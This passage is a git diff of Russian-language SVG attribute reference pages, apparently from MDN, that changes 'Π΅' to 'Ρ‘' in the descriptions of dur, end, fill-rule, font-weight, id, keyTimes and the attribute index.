+ <p>РисуСт линию ΠΈΠ· <em>Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ Π²Β ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ</em> <code>x</code>,<code>y</code>.Β Π›ΡŽΠ±Π°ΡΒ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ ΠΏΠ°Ρ€Π°(Ρ‹)Β ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ интСрпрСтируСтся ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€(Ρ‹) для нСявной Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠΉ ΠΊΠΎΠΌΠ°Π½Π΄(Ρ‹) LineTo (<code>L</code>). Π€ΠΎΡ€ΠΌΡƒΠ»Π°: P<sub>o</sub><sup>'</sup>Β = P<sub>n</sub>Β = {<code>x</code>,Β <code>y</code>}</p>
</td>
</tr>
<tr>
diff --git a/files/ru/web/svg/attribute/dur/index.html b/files/ru/web/svg/attribute/dur/index.html
index 7c28a1e8cc..9cd47365ff 100644
--- a/files/ru/web/svg/attribute/dur/index.html
+++ b/files/ru/web/svg/attribute/dur/index.html
@@ -54,7 +54,7 @@ translation_of: Web/SVG/Attribute/dur
<dl>
<dt><code>&lt;clock-value&gt;</code></dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ Π΄Π»ΠΈΠ½Ρƒ простой Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ большС 0. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΎ Π² часах (<code>h</code>), ΠΌΠΈΠ½ΡƒΡ‚Π°Ρ… (<code>m</code>), сСкундах (<code>s</code>) ΠΈΠ»ΠΈ миллисСкундах (<code>ms</code>). Π­Ρ‚ΠΎ позволяСт ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΎΠ΅ прСдставлСниС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для прСдоставлСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… слоТных Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚Π΅ΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ: <code>hh:mm:ss.iii</code>Β ΠΈΠ»ΠΈ Β <code>mm:ss.iii</code></dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ Π΄Π»ΠΈΠ½Ρƒ простой Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ большС 0. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΎ Π² часах (<code>h</code>), ΠΌΠΈΠ½ΡƒΡ‚Π°Ρ… (<code>m</code>), сСкундах (<code>s</code>) ΠΈΠ»ΠΈ миллисСкундах (<code>ms</code>). Π­Ρ‚ΠΎ позволяСт ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΎΠ΅ прСдставлСниС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для прСдоставлСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… слоТных Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚Π΅ΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ: <code>hh:mm:ss.iii</code>Β ΠΈΠ»ΠΈ Β <code>mm:ss.iii</code></dd>
<dt><code>media</code></dt>
<dd>Π—Π°Π΄Π°Ρ‘Ρ‚ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΊΠ°ΠΊ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, свойствСнной ΠΌΠ΅Π΄ΠΈΠ°. Π­Ρ‚ΠΎ Π²Π°Π»ΠΈΠ΄Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ media.</dd>
<dt><code>indefinite</code></dt>
@@ -63,7 +63,7 @@ translation_of: Web/SVG/Attribute/dur
</dl>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π˜Π½Ρ‚Π΅Ρ€ΠΏΠΎΠ»ΡΡ†ΠΈΡ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ссли простая Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ остаСтся Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ (хотя это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для элСмСнтов {{ SVGElement("set") }}).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π˜Π½Ρ‚Π΅Ρ€ΠΏΠΎΠ»ΡΡ†ΠΈΡ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ссли простая Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ остаётся Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ (хотя это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для элСмСнтов {{ SVGElement("set") }}).</p>
</div>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/svg/attribute/end/index.html b/files/ru/web/svg/attribute/end/index.html
index c4db1e943f..8b0b8d3003 100644
--- a/files/ru/web/svg/attribute/end/index.html
+++ b/files/ru/web/svg/attribute/end/index.html
@@ -7,7 +7,7 @@ translation_of: Web/SVG/Attribute/end
<p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ Π°ΠΊΡ‚ΠΈΠ²Π½ΡƒΡŽ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ.</p>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° прСдставляСт собой Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ с запятой список Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. КаТдоС ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ²ΠΏΠ°Π΄Π°Ρ‚ΡŒ с Ρ‚ΠΈΠΏΠΎΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ для {{ SVGAttr("begin") }} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° .</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° прСдставляСт собой Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ с запятой список Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. КаТдоС ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ²ΠΏΠ°Π΄Π°Ρ‚ΡŒ с Ρ‚ΠΈΠΏΠΎΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ для {{ SVGAttr("begin") }} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° .</p>
<h2 id="Usage_context">Usage context</h2>
@@ -32,7 +32,7 @@ translation_of: Web/SVG/Attribute/end
</tbody>
</table>
-<p>Для Ρ‚ΠΈΠΏΠΎΠ² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ… Π²,Β <code>&lt;end-value-list&gt;</code> см. Β {{ SVGAttr("begin") }}Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚.</p>
+<p>Для Ρ‚ΠΈΠΏΠΎΠ² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Ρ… Π²,Β <code>&lt;end-value-list&gt;</code> см. Β {{ SVGAttr("begin") }}Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚.</p>
<h2 id="Examples">Examples</h2>
diff --git a/files/ru/web/svg/attribute/fill-rule/index.html b/files/ru/web/svg/attribute/fill-rule/index.html
index d83dad58c3..b7c3a793e0 100644
--- a/files/ru/web/svg/attribute/fill-rule/index.html
+++ b/files/ru/web/svg/attribute/fill-rule/index.html
@@ -9,7 +9,7 @@ translation_of: Web/SVG/Attribute/fill-rule
<p class="note"><strong>Note:</strong> Атрибут прСдставлСния, <code>fill-rule</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован ΠΊΠ°ΠΊ CSS свойство.</p>
-<p>Как Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ прСдставлСния, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ ΠΊΒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΒ Π²ΠΎΡΡŒΠΌΠΈΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Π°ΠΌ:: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}</p>
+<p>Как Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ прСдставлСния, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΊΒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΒ Π²ΠΎΡΡŒΠΌΠΈΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Π°ΠΌ:: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}</p>
<div id="topExample">
<div class="hidden">
diff --git a/files/ru/web/svg/attribute/font-weight/index.html b/files/ru/web/svg/attribute/font-weight/index.html
index 1985975c56..27ae429e31 100644
--- a/files/ru/web/svg/attribute/font-weight/index.html
+++ b/files/ru/web/svg/attribute/font-weight/index.html
@@ -40,7 +40,7 @@ translation_of: Web/SVG/Attribute/font-weight
<li><strong>bold</strong>Β - соотвСтствуСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ <strong>700 </strong>- ΠΏΠΎΠ»ΡƒΠΆΠΈΡ€Π½ΠΎΠ΅ Π½Π°Ρ‡Π΅Ρ€Ρ‚Π°Π½ΠΈΠ΅</li>
<li><strong>normal</strong>Β - соотвСтствуСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ <strong>400 </strong>- Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅ Π½Π°Ρ‡Π΅Ρ€Ρ‚Π°Π½ΠΈΠ΅</li>
<li><strong>bolderΒ </strong>ΠΈΒ <strong>lighter</strong>Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ соотвСтствСнно Π±ΠΎΠ»Π΅Π΅ ΠΆΠΈΡ€Π½ΠΎΠ΅ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ½ΠΊΠΎΠ΅ Π½Π°Ρ‡Π΅Ρ€Ρ‚Π°Π½ΠΈΠ΅ Π² сравнСнии с Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта. Π”ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, ΡƒΠ½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ²ΡˆΠ΅Π΅ΡΡ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</li>
- <li><strong>inheritΒ </strong>- Π΄Π°Π΅Ρ‚ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΡƒΠ½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ тип начСртания ΠΎΡ‚ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта.</li>
+ <li><strong>inheritΒ </strong>- Π΄Π°Ρ‘Ρ‚ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΡƒΠ½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ тип начСртания ΠΎΡ‚ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта.</li>
</ul>
<h2 id="ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π΅Ρ€Π΅ΠΆΠ΅Π½ΠΈΡ">ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π΅Ρ€Π΅ΠΆΠ΅Π½ΠΈΡ</h2>
diff --git a/files/ru/web/svg/attribute/id/index.html b/files/ru/web/svg/attribute/id/index.html
index 54590a4cd4..a8071bb93f 100644
--- a/files/ru/web/svg/attribute/id/index.html
+++ b/files/ru/web/svg/attribute/id/index.html
@@ -51,7 +51,7 @@ translation_of: Web/SVG/Attribute/id
<dl>
<dt>&lt;id&gt;</dt>
<dd>
- <p>Π—Π°Π΄Π°Π΅Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ элСмСнта. Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Π΄Π΅Ρ€Π΅Π²Π° ΡƒΠ·Π»ΠΎΠ², Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ пустой строкой ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΒ  Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ².</p>
+ <p>Π—Π°Π΄Π°Ρ‘Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ элСмСнта. Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Π΄Π΅Ρ€Π΅Π²Π° ΡƒΠ·Π»ΠΎΠ², Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ пустой строкой ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΒ  Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ².</p>
<div class="blockIndicator note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ использованиС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ как спСцификация прСдставлСния SVG (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>MyDrawing.svg#svgView(viewBox(0,200,1000,1000))</code>)Β ΠΈΠ»ΠΈ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° ΠΏΡ€ΠΈ использовании Π² качСствС Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π° URL.</p>
diff --git a/files/ru/web/svg/attribute/index.html b/files/ru/web/svg/attribute/index.html
index 7d05b490e8..390328c17f 100644
--- a/files/ru/web/svg/attribute/index.html
+++ b/files/ru/web/svg/attribute/index.html
@@ -12,7 +12,7 @@ translation_of: Web/SVG/Attribute
---
<p>Β« <a href="/ru/docs/Web/SVG" title="ru/docs/Web/SVG">SVG</a> / <a href="/ru/docs/Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚" title="ru/docs/Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚">Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ SVG элСмСнтов</a> Β»</p>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ SVG ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Π΄Π°ΡŽΡ‚ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ свСдСния ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΈΠ»ΠΈ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ. НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ список всСх Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², доступных Π² SVG, Π° Ρ‚Π°ΠΊΠΆΠ΅ ссылки Π½Π° ΡΠΏΡ€Π°Π²ΠΎΡ‡Π½ΡƒΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ, ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‰ΠΈΠ΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ элСмСнты ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΠΈΡ… ΠΈ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ SVG ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Π΄Π°ΡŽΡ‚ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ свСдСния ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΈΠ»ΠΈ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ. НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ список всСх Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², доступных Π² SVG, Π° Ρ‚Π°ΠΊΠΆΠ΅ ссылки Π½Π° ΡΠΏΡ€Π°Π²ΠΎΡ‡Π½ΡƒΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ, ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‰ΠΈΠ΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ элСмСнты ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΠΈΡ… ΠΈ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚.</p>
<h2 id="SVG_Атрибуты_ΠΎΡ‚_А_Π΄ΠΎ_Π―">SVG Атрибуты ΠΎΡ‚ А Π΄ΠΎ Π―</h2>
diff --git a/files/ru/web/svg/attribute/keytimes/index.html b/files/ru/web/svg/attribute/keytimes/index.html
index d1db1c495f..cd7f423869 100644
--- a/files/ru/web/svg/attribute/keytimes/index.html
+++ b/files/ru/web/svg/attribute/keytimes/index.html
@@ -5,7 +5,7 @@ translation_of: Web/SVG/Attribute/keyTimes
---
<p>Β« <a href="/en-US/docs/Web/SVG/Attribute" title="en-US/docs/Web/SVG/Attribute">SVG Attribute reference home</a></p>
-<p>Атрибут <code>keyTimes</code> прСдставляСт собой Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ с запятой список Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… для управлСния Ρ‚Π΅ΠΌΠΏΠ°ΠΌΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. КаТдоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β Π² спискС соотвСтствуСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ Π² спискС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² {{ SVGAttr("values") }} ΠΈ опрСдСляСт, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. КаТдоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² спискС <code>keyTimes</code> задаСтся ΠΊΠ°ΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой ΠΎΡ‚ 0 Π΄ΠΎ 1 (Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ), ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π΅ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΡƒΡŽ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ смСщСния Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ элСмСнта Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
+<p>Атрибут <code>keyTimes</code> прСдставляСт собой Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ с запятой список Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… для управлСния Ρ‚Π΅ΠΌΠΏΠ°ΠΌΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. КаТдоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β Π² спискС соотвСтствуСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ Π² спискС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² {{ SVGAttr("values") }} ΠΈ опрСдСляСт, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. КаТдоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² спискС <code>keyTimes</code> задаётся ΠΊΠ°ΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой 